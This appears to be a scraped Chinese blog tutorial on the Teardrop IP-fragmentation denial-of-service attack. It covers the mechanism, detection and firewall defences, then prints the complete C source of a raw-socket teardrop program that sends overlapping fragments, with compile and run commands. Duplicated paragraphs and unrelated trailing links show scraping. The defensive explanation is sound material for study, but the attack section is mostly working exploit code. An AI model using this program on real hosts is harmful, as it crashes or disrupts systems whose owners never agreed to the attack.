什么是Teardrop攻击?我们要如何防御Teardrop攻击?
Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大
主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效
攻击效果
被攻击者会出现蓝屏、重启、卡死等情况
1、Teardrop攻击原理
Teardrop攻击工作原理是攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,某些操作系统收到含有重叠偏移的伪
Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大
主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效
利用UDP包重组时重叠偏移(假设数据包中第二片IP包的偏移量小于第一片结束的位移,而且算上第二片IP包的Data,也未超过第一片的尾部,这就是重叠现象。)的漏洞对系统主机发动拒绝服务攻击,最终导致主机宕机;对于Windows系统会导致蓝屏死机,并显示STOP 0x0000000A错误。
2、检测方法
对接收到的分片数据包进行分析,计算数据包的片偏移量(Offset)是否有误。
- Teardrop攻击防御方法
网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存溢出,当缓存快要存满时,直接丢弃后续分片报文。
反攻击方法:添加系统补丁程序,丢弃收到的病态分片数据包并对这种攻击进行审计。尽可能采用最新的操作系统,或者在防火墙上设置分段重组功能,由防火墙先接收到同一原包中的所有拆分数据包,然后完成重组工作,而不是直接转发。因为防火墙上可以设置当出现重叠字段时所采用的规则
MAC头(帧头):14个字节,包括目标mac6字节,源mac6字节,上层协议2字节
FCS:帧校验序列,4个字节ip头:源ip和目标ip,20字节
Ping大包,比较正常分段与teardrop攻击流量的区别
ping -l 4000 192.168.199.158
针对早期windows系统SMB协议的攻击
teardrop_smb.py
针对Android.IOS 系统的攻击
teardrop_androidios.py
攻击向量并不确定,要视具体协议分析
- 攻击目标
泪滴攻击是一种拒绝服务(DoS)攻击,涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装,因此数据包相互重叠,导致目标网络设备崩溃。这通常发生在较早的操作系统上,例如Windows 3.1x,Windows 95,Windows NT和2.1.63之前版本的Linux内核。
IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 ,从而导致拒绝服务状况。
5、编写Teardrop程序(创建一个虚假的IP数据包)
1)、在 Ubuntu 系统下,创建一个 Teardrop.c 文件,写入如下内容:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.*/
void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
// 定义源地址和目的地址
u_long src_ip = 0, dst_ip = 0;
// 定义源端口和目的端口
u_short src_prt = 0, dst_prt = 0;
// 定义一个32位的IPv4地址
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
//创建原始套接字
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
//设置套接字选项IP_HDRINCL
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
(char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
if (argc < 3)
usage(argv[0]);
// 设置源IP 和 目的IP
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port (should be emphemeral)
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port (DNS, anyone?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
srandom((unsigned)(utimes("0",(time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count)
count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[\n ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
// printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
u_char byte; // a byte
// 套接字地址结构
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
flag = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
// IP version and header length
byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP TOS (skipped)
// total length
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP id
p_ptr += 2;
//IP frag flags and offset
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP TTL
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
// IP checksum filled in by kernel
p_ptr += 4;
// IP source address
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
// IP destination address
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // UDP source port
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING); // UDP total length
p_ptr += 4;
// 发送数据:Fake News
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
// IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
// 获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
- 、编译运行
gcc Teardrop.c -o Teardrop
sudo ./Teardrop 100.100.100.100 200.200.200.200
什么是Teardrop攻击?我们要如何防御Teardrop攻击?相关推荐
- linux arp攻击教程,Linux下防御arp攻击的方法
Linux下防御arp攻击的方法 发布时间:2008-09-08 17:09:19 作者:佚名 我要评论 1.获取同一网段下所有机器MAC地址的办法 机房有机器中毒,发arp包,通过arpsp ...
- post攻击 xxs_如何正确防御xss攻击
展开全部 传统防御技术 2.1.1基于特征的防御 传统XSS防御多采用特征匹配方32313133353236313431303231363533e78988e69d8331333366303830式, ...
- 论文阅读-基于深度强化学习的方法解决多智能体防御和攻击问题
论文原题目:A deep reinforcement learning-based method applied for solving multi-agent defense and attack ...
- 站长必读:防御DDOS攻击终极指南
<站长必读:防御DDOS攻击终极指南> 本文作者:孤独剑客 发布日期:2004年12月18日 发布网站: http://www.hackbase.com 简述:由于近期DDOS攻击越来越广 ...
- 防御DDOS攻击终极指南
防御DDOS攻击终极指南 一.为何要DDOS? 随着Internet互联网络带宽的增加和多种DDOS黑客工具的不断发布,DDOS拒绝服务攻击的实施越来越容易,DDOS攻击事件正在成上升趋势.出于商业竞 ...
- 安全防御 --- DDOS攻击(01)
DOS攻击(deny of service)--- 拒绝式服务攻击 例:2016年10月21日,美国提供动态DNS服务的DynDNS遭到DDOS攻击,攻击导致许多使用DynDNS服务的网站遭遇访问问题 ...
- 高防服务器究竟能防御哪些攻击?
基于DDoS比较广泛,很多机房都会针对DDoS攻击进行,因此,很多企业会选择高防服务器来进行抵御恶意攻击. 高防服务器指机房通过主要的高防设备对恶意数据进行有效鉴别和清洗,具有防御网络攻击功能的服务器 ...
- 如何防御DDoS攻击
以前我家里用的是卡巴的防火墙,经常受到DDOS的攻击,每一次受到攻击之后,机子就不能上网,只有重启之后才可以上,十分郁闷.如果关掉卡巴的提示,就不会出现上不了网的情况.所以现在我的机子都不敢再用卡巴的 ...
- 服务器安全:浏览器同源策略与跨域请求、XSS攻击原理及防御策略、如何防御CSRF攻击
主要包括 浏览器同源策略与跨域请求 XSS攻击原理及防御策略 如何使用SpringSecurity防御CSRF攻击 CC/DDOS攻击与流量攻击 什么是SSL TLS HTTPS? 一.浏览器的同源策 ...
- 1、请简述DNS的作用,并说明当你输入网址“www.nxtc.edu.cn“按下回车后,DNS是怎么工作的?(关键步骤可以给出相应图示) 2、详细描述域名劫持攻击的过程及防御方式。
一.请简述DNS的作用,并说明当你输入网址"www.nxtc.edu.cn"按下回车后,DNS是怎么工作的?(关键步骤可以给出相应图示) DNS的作用: 把网址解析转化成ip地址, ...
最新文章
- mysql定时任务如何每天0点跑_mysql定时任务,每天的零点执行一个存储过程
- c# webrequest 自动登入网站
- Conan and Agasa play a Card Game
- 三层交换机不能完全取代路由的作用
- 《区块链开发指南》一一第1章 区块链基础
- bzoj 1753: [Usaco2005 qua]Who's in the Middle【排序】
- 基于hi-nginx的web开发(python篇)——cookie和会话管理
- 基于java SSM校园兼职平台系统设计和实现
- js function定义函数的4种方法
- java 当前时间 long_java 获取当前的日期、时间, 日期、字符串、long之间的相互转换...
- Rust: 如何与DLL文件进行交互?
- 阿里云落地全球最大云原生实践:双11核心系统全面云原生化
- visio 2007 简体中文版下载
- 工业机器人自动化仿真竞赛 Agile Robotics for Industrial Automation Competition (ARIAC 2021)
- php把文字转换unicode,unicode编码转换:PHP将汉字转换成Unico_php
- 【GAN】生成式对抗网络论文笔记及TF2代码实现
- SCAU软件开发基础C++复习
- 机器人改变生活利弊英语作文_机器人的危害英语作文
- In-band network telemetry
- Win10子系统Ubuntu安装Thingworx8.5--1. WSL Ubuntu 安装
热门文章
- 使用Xcode的Organizer监控线上用户 App 的使用情况
- entity、bo、vo、po 如何理解和区分?
- Visual Studio 2017 version 15.9 官方最新版本下载(含那个啥码)
- Hadoop HDFS常用命令
- 使用WebUploader实现图片上传
- 微信官方支付接口配置教程
- docker中各ID之间的关系和计算(二)-layerID-diffID-chainID-cacheID的计算
- 测试开发工程师成长日记011 - linux常用命令day03
- nginx-http重定向到https配置
- 我用Python制作了全国疫情地图,其实一点都不难!